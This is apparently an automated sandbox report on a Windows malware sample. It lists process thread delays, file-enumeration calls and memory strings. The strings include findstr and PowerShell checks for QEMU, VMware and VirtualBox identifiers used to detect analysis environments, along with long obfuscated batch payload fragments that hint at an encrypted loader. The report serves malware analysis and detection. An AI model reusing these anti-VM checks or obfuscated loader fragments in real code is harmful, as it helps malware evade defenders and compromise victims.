Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\cmd.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1EDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000001CA7D1EDA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D1ED894 FindFirstFileExW,	15_2_000001CA7D1ED894
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000001CA7D21DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D21D894 FindFirstFileExW,	15_2_000001CA7D21D894
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000001CA7D29DA18
Source: C:\Windows\System32\winlogon.exe	Code function: 15_2_000001CA7D29D894 FindFirstFileExW,	15_2_000001CA7D29D894
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_0000017D2DD5DA18
Source: C:\Windows\System32\lsass.exe	Code function: 16_2_0000017D2DD5D894 FindFirstFileExW,	16_2_0000017D2DD5D894
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_0000022F4B92DA18
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_0000022F4B92D894 FindFirstFileExW,	17_2_0000022F4B92D894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00000262F1CADA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1CAD894 FindFirstFileExW,	18_2_00000262F1CAD894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00000262F1D0DA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D0D894 FindFirstFileExW,	18_2_00000262F1D0D894
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	18_2_00000262F1D3DA18
Source: C:\Windows\System32\dwm.exe	Code function: 18_2_00000262F1D3D894 FindFirstFileExW,	18_2_00000262F1D3D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	22_2_000001B68BD2DA18
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD2D894 FindFirstFileExW,	22_2_000001B68BD2D894
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	22_2_000001B68BD5DA18
Source: C:\Windows\System32\cmd.exe	Code function: 22_2_000001B68BD5D894 FindFirstFileExW,	22_2_000001B68BD5D894
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	23_2_000001E591CCDA18
Source: C:\Windows\System32\conhost.exe	Code function: 23_2_000001E591CCD894 FindFirstFileExW,	23_2_000001E591CCD894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13D894 FindFirstFileExW,	26_2_000002234E13D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E13DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000002234E13DA18
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16D894 FindFirstFileExW,	26_2_000002234E16D894
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	26_2_000002234E16DA18
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	27_2_0000023942B1DA18
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1D894 FindFirstFileExW,	27_2_0000023942B1D894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DD894 FindFirstFileExW,	28_2_000001EF056DD894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	28_2_000001EF056DDA18
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570D894 FindFirstFileExW,	28_2_000001EF0570D894
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	28_2_000001EF0570DA18
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4D894 FindFirstFileExW,	29_2_000002287AD4D894
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	29_2_000002287AD4DA18
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9D894 FindFirstFileExW,	30_2_000001B94DA9D894
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	30_2_000001B94DA9DA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	31_2_000002520257DA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257D894 FindFirstFileExW,	31_2_000002520257D894
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	31_2_00000252025ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025AD894 FindFirstFileExW,	31_2_00000252025AD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	32_2_000001A9EBFCDA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCD894 FindFirstFileExW,	32_2_000001A9EBFCD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68D894 FindFirstFileExW,	32_2_000001A9EC68D894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	32_2_000001A9EC68DA18
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BD894 FindFirstFileExW,	32_2_000001A9EC6BD894
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BDA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	32_2_000001A9EC6BDA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163DA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	33_2_0000019FF163DA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163D894 FindFirstFileExW,	33_2_0000019FF163D894
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19ADA18 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	33_2_0000019FF19ADA18
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19AD894 FindFirstFileExW,	33_2_0000019FF19AD894

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000024.00000002.3344567466.000002A769A42000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000024.00000000.1543220583.000002A769A42000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisor
Source: svchost.exe, 00000024.00000000.1543220583.000002A769A42000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmci
Source: cmd.exe, 00000016.00000003.1482211032.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 0000001D.00000002.3347854568.000002287A02B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: cmd.exe, 00000016.00000003.1484014593.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1484369314.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1482211032.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1487300764.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1486881918.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1484505880.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1483753694.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1485499049.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1462971364.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1483317075.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000016.00000003.1482696640.000001B68B78C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.36.dr	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dcPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: dwm.exe, 00000012.00000002.3415712940.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dRomNECVMWarVMware_SATA_
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 0000001A.00000002.3406455326.000002234AE79000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000024.00000000.1543789153.000002A76A110000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: JVMwareVirtual disk6000c298128b8c02a71a2474aeb5f3dc
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.36.dr	Binary or memory string: VMwareVirtual disk2.06000c298128b8c02a71a2474aeb5f3dcPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.36.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.36.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000024.00000002.3413741329.000002A76AF8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c298128b8c02a71a2474aeb5f3dc
Source: dwm.exe, 00000012.00000002.3415712940.00000262ED7EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.36.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: svchost.exe, 00000024.00000002.3413741329.000002A76AF8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: cmd.exe, 00000016.00000003.1523180983.000001B68B796000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ht%t%BxeirvhizTcyfRjSrTWsOGhCJHQOioSVlhyeAkxdxDSpSPiBMZNbBP%o%EUpCzKFsZkbhmYsfrgwTUlOSKTyocjBQtwCDPYLMyeDHnKCkiHHGFI%h%UtgwRFmqqQJkOPvPptuJvQHgEarnfuCUkKCjwshgAhONYdVNPtrolW%K%ndMZRRoYkVoOadmmsXloinbTiBeDyMdnIoxyxxBqSCXTzkcSACaucX%R%OacSRqNKAySafMGOPVwVwFpiuXyldVLJkLzxwEFlDhcybzeqmMNfYh%n%AiKUyTRBGFNiPumirkplsoDRgVTiZrhFKdkrMBgMtbBxLSJJeduDQN%Y%OlFSNCaIBoxhyLjVwPdDRqNggoljeWXEPXpZLTODLKAmZDuXAiHEzn%D%WyyyMyrQEFqSsAwkjCbzRgQAhCUoJVotfCbRAnhpmUgUWgkTAqYeCZ%O%vQHYrjEchJqXNQzFJWvLnWZVEasaNsWjQggljCVXLkMxDYsuuVGcJQ%t%MyQLtqRDpOMggHKnwhayacjCsFHXFSMTAauHvxiFfhVYKwRLKhyzcl%e%PJontOJTXwcSGgncSYYvtThlSVOVnytnRpkLsheuVljyVRQLyHoAAH%G%SWBdvxZNFzcPbrWBJKUDzhJJqafdxGjTMjwnkpMGuiFKvgQyOWYEGW%n%iKmRNusWpZpjcSUIrtXnjrCZnjkGoAHFnPbMbsCsnxSFumdXDfEEHs%l%NQhmEDkMIPrKWnRiHZRFaLzXFbgmciWdYUbkEOOYiBPdnKqPgvyFMb%F%scrkHCwXJzSoMblGDTlSxyVwJUKqgGKqqWCZTuglBkRpkZYpEASEuU%E%ETgVAMSgQcPBXPzlNjNZqmGGlKWvLGOfWwrITXTttvtOzIbiPsMIRu%t%DsnzJPQwuknKFByQsPptGVSRgDJOFsTgnCSYvtodDWajAPdzKZaWty%l%NIAvtfgcQbrhwcIzvYBmQJUIqqAjeGsWMPPkyZaiXAgZRttbRkDcvh%=o%dNRecFWYkJuuGmxbvXtopDVRXXzsTdpBFhLwGVYCaCWpxYNOtjhebSrzSagfgEehuTPyB%+%buAZRoNHGtZjLYJVkzNPlEGOTvvxOVDjonsPGfkDESmGhVvGvljubIpwOMgvSpSKQQVxF%4%UofojltsZHXaPcDLjhFXWaUZPLpZBQqZXaAWefRxVeOeiudnpYGIpAJUugyyVuRjqXcOB%Q%GHdqicRlPQuHbJCjHKxqGCYHsBAnFNksoLIrDsgxRIEpeRTKoZJnFxVeJwXGCEFbFcsqb%=%lGpDazYYIDBHPYGeXNRQEHgvzUmcCJbzDJdtuJEYXfbTvZMGZXIpBAwDzTdfmVvYBcefU%=%nKoiTTyGnZAhGcFbMXdnATAFzLbJcstVHMMmugHGXXmUDXGSQXPeaRuukIJhRPDVGFATq%'%sHFqwqCGGcBeiTfCoUPrscLxAPitrnYwMCypjOEBRNDGhcJVysrKLCYpViPHhjoseesGu%)%PtAqnAEyfpxgmUZWnLkEitaYXtIzlCcKcBJYQuxbtQQTrAVoovQthclvtBtUSfnDmNdLl%;%bgToikrDhGwytkQLJCapnFoaDjoDnGExkdnpWeZRTSlUXvzVxRCldvYwRTKYWOqAcYnpX%%APEDivvttdhKtgvdtuPfRydtaVfBLSYijYWcXHUZCcxPDoDHUwJEykfcLkDnqTIBeYBvk%$%tgLzPCObnQLryHoiuJYSUqMeHJJuVLEMixAqXeJIrbyuRVRlutKpDCpdtHSfStfClZjbg%b%XkpapATSsmLRxaCbpjFhxXqmDQXVWiSMQfwivoocwlavhnutDAWPETJZUcwzCYWjtZbsE%q%tFaVCLmWUfpvErvmciXvwnsROAypRchmbPjUVUbixcZXhdXGAWqReXhgnjgcnWfSXduPi%y%ArigPYtouKLCSOULqieHdHMOYVAXgZdJixaFiKoZNRSyuAvilhHVphfSEthUxwhvHbuuN%"
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: cmd.exe, 00000016.00000003.1463561088.000001B68B7BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\findstr.exefindstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK" findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK" Winsta0\Default=::=::\=C:=C:\Users\user\DesktopAbAjDNbOYADmRGoSEyiVfZzHvIi=ng($bRzqF[2]ABubtKOUqBymcTpKfurRYKXo=ream;'.ReaCeGhaeuPDheJpZpncZt=Mp (vhVnA ([CAdgrSkxLNEyqFBRLtxHUOMiPcJxyK=rMode]::CBC;$aEQGQUIMGKLPKgVPkQbyGadzOJu=QYfY=[System.SALLUSERSPROFILE=C:\ProgramDataAOHuWQKTZqYUwIWeVwGWOOt=owTitle = $SQOAPPDATA=C:\Users\user\AppData\RoamingapsXTkpYSCOIVnMoFYWGxHQmE= aTxBAfIsVGOdEHVTCWYkzzlF=bject SystatYOJpyUsiWZqDvoUlLGBPMPXXh=.Replace("@", avcbAURIXVqmBJwFdHeXcInFLpzUo=rt]::FroayZzBgvqIJBHyYScQRtw=TQYfY.Padding=aZwRjOwvieKYapjWmtLhrqF= $UpD (,[strinbAUZHZfrhpmIYgzEUBKQ=($zVdEq,$ulmvtbENpfb
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.36.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000024.00000000.1546628376.000002A76A49B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: nonicVMware Virtual disk 6000c298128b8c02a71a2474aeb5f3dc
Source: cmd.exe, 00000016.00000003.1527495754.000001B68B796000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: okhiguajDXsWTiFarGnbUapNVydqvHaeHHy%D%CGgPwHaNtiPKIfhxmiIhnUtmHqKOWXopmJculQRtTnVFfOvknkNWZzkImTifWmRwTAyYdNmwr%X%ooaYOhTUzBLksqMytirHLxHwzLEpwhzYrEKlkJxMplwLflBkLzJFUOGRGEydCDxsbMTNFBoKK%X%FszaVqnjuEWyUeCYTEGlujLNeJssOEklZUpwgQKnkTiZAUgIqOMWHzqvGLWmXVvPtLzZPfRcT%d%saBbMmkCKbZSoDAETQuUyqpxsFPuhTlWJcpyPtTyLJnTwXfhYvVoxhvcKdJhxPvQQcilobPzX%C%ViPcwbuzIwMXWzCHmOLKLbWnwdtPUSXFwrBYFZoboIOtJTTCGEbndPlUmBGsIFFPygBFYDbnz%B%JvdmDECkQjpQKBHfHMesVtIcYUDsnEcCONutiHJWdiRwpZNEUArRWUEqNaoIbkWlgNcXhnWZc%q%ipMBmNZhYxMnlFTjdGhtbVSmFqCWQxGDrOOFROBnoAdNjYUhiNdHPGbmwAWVldqARjWxQosof%T%TeARfcHwuNctYOKNBiqSFclkCVacwrTvPCVCAuryozQpnhSulKogbwzRTppjbEZdTHEwThmhR%L%RDglVXudGQMcNusceJkfhxKANwGDvBdyhpjStFXsUgvOmbgnluOybbJuTGyzrRHeMoUxkAIyL%T%SkabVnMpsrbMFwgFOYNhybdzrbYgIcKLqNjRJtYsLjYAFrhROSvCVrmQhBKToFHpGqwSnoWva%M%uwpdDTZUhsQHiPZAsKhIeefBITpVpDzVaBBVXNEIKZhnRIxAxrVEOMWqqNuJEeFDSUHGoeDEf%F%zYeWSKavOyXIVgnFkEjtUdGtEuWbQmsOqypORtxdtoPGHUXOtbdztllvrKsyNZEBfjrwRzORh%x%gZFnaLJwiHPiTufmTwgaZpuKnAyDBWUnmsnlFhrYJbFrOtlOljXcHQhQEVZznfVlNCWBhUHLf%B%hrXKdVUpKrrZRGvkwGKhSLDgtDmxKGrCmWzzkgBafkCNEmVWBqKnWDnvNQqzIxEdaOMVgVapf%u%JcIiPChIqVuVdFIJdLtQbrHFzNPzaPFqvhmBFnYoiRsBkhWiemcjHzesucJcMHHAqdAVshdQN%T%eIjZgurQHvONvJVdUgCDVCAjRlgHbPWilvCQUsoHrlfmTNUuESybBnRChZiVoKPRyFCagfiBS%=%lKxopeqMcirVHYDaJUkstHwnNokUnzKWiGbheTKeFBIGACYEwgvnqzBEnkAbTvyCyuMbWwWPkgNRZ%.%PMlpGyhewGJexTUtIkjdfigQXHakFckLJFyxpMnXqybNdWzCbwCWEOTGFusYyXytvYvRvweWWmNHg%C%sNaixijAnhVMRSUtpysaIsfAHgFsGZsamAmHrPaPoThQAfDEkCHNuGyaHAArDRUoOUzrFmczyDLOk%%oaCDbidrFGFbmZRoJmxYTcGFmYXAioRUJQtAYNBJQWjoTptmkkPqoPqmtWrckDjqOKrvGrqVKOiWS%o%sMWFLpXyAGTzhgcwzymNTzjYXGTUUGAHutbkuwzomRnexVykoykpVjYSCXHevdEUgmfNeSccZYAbm%m%fAchIGvvkLlvjHwPuSjmsXlQKgwwhpXIXGxxFWMxizVATsVkFnFfrOTholxCjZnVOCxCjZjxgLeTb%%LWsklQUKSqiMpjuzknilaLrUsaGdhZFKZgCoesYitlWmpQTPPXWyVIbZFxRkkQCTLyMjGfuRoaRPP%p%fFCgQojdgPreCIHAOYDIdBRdKjKDekVQlkARpduCsPEIuedwNrAbohLEOywHDGZWTBSsiPlKDbpnW%r%iIFfnPMJTCeyWdQGMYMQHPTmLoXgQxnRyHFPRBqQmmaZOTlLudRdDwptPtuZSGTvpnapybPlHVEuP%%UyRclMMGjobrmaygqYGtEJASWntoFvIRUDUVDXGUhOfZYXlarfrWYbkkXYfXsybOFkxIgDDtrMlPE%e%BUZcsXAdLTStJXESJBINqtOACUNBYFmPvGwegVZBBKUqEpwFZAIkDcohgyAyjYfgHcXdBAMOBhmFz%*%yVmxhCxWbmtroYHvBsCENJBrseyOUJvPIIICnbbwIjFQELnCesaPJaLOuUeddIcsRDJFqehAqgWEd%s%LMHQWJBIGgHXTisWXsZgnYbcHmalAyDegLJhxnhYBJkxcIxVPDsNXxPMLEiKIqihCDQhykyKlaFDN%s%EaZPfvWgQhIWWwTewqlBdUyRpwFfHCWSlYgEjVDUlbMwhkCNFGOKucKKBhzIQRynkQKYqoUBMqpci%"
Source: svchost.exe, 00000024.00000000.1562585901.000002A76C0B6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.36.dr	Binary or memory string: VMware
Source: svchost.exe, 00000024.00000002.3413741329.000002A76AF8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 00000024.00000002.3413741329.000002A76AF8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: powershell.exe, 00000023.00000002.3376787099.000002131465E000.00000004.00000001.00020000.00000000.sdmp, product.bat, $rbx-CO2.bat.19.dr	Binary or memory string: !FSMEdrvzOwmtyaWzrcxQSpDVLdBMVmlazyTmwjFejByhXwmvrJMZpBbpoRTaQIDCllTahKdiwsGqRvXpQfvmzlLYxEYFqFoBXWWLCloHGECWUKySTEkKnrcZAVDDMxRR! "f%COAPlpSZrUfNOYjAKqVRRPHkbDHThLzDwkCXTUsIfdkGlfXUCfMlybXNgqNHIYSGuBrDvlGPY%M%nLNEaYWFMqcYofvnPQDhKahlElKNtzryXmkpkigrRbVHPIgvWqGudIonEBaOnilnYDbbUfdGK%t%lpIezvVfoRdSXvoYXKIireJQIJmHeBQnZJRtFjegeJYriuaiMdXuuyshGSvQjobNaQToDVsOF%K%CdIfrHoIdUaEwSArJNNNoWQHkrrAMEQKiOSvJcokhiguajDXsWTiFarGnbUapNVydqvHaeHHy%D%CGgPwHaNtiPKIfhxmiIhnUtmHqKOWXopmJculQRtTnVFfOvknkNWZzkImTifWmRwTAyYdNmwr%X%ooaYOhTUzBLksqMytirHLxHwzLEpwhzYrEKlkJxMplwLflBkLzJFUOGRGEydCDxsbMTNFBoKK%X%FszaVqnjuEWyUeCYTEGlujLNeJssOEklZUpwgQKnkTiZAUgIqOMWHzqvGLWmXVvPtLzZPfRcT%d%saBbMmkCKbZSoDAETQuUyqpxsFPuhTlWJcpyPtTyLJnTwXfhYvVoxhvcKdJhxPvQQcilobPzX%C%ViPcwbuzIwMXWzCHmOLKLbWnwdtPUSXFwrBYFZoboIOtJTTCGEbndPlUmBGsIFFPygBFYDbnz%B%JvdmDECkQjpQKBHfHMesVtIcYUDsnEcCONutiHJWdiRwpZNEUArRWUEqNaoIbkWlgNcXhnWZc%q%ipMBmNZhYxMnlFTjdGhtbVSmFqCWQxGDrOOFROBnoAdNjYUhiNdHPGbmwAWVldqARjWxQosof%T%TeARfcHwuNctYOKNBiqSFclkCVacwrTvPCVCAuryozQpnhSulK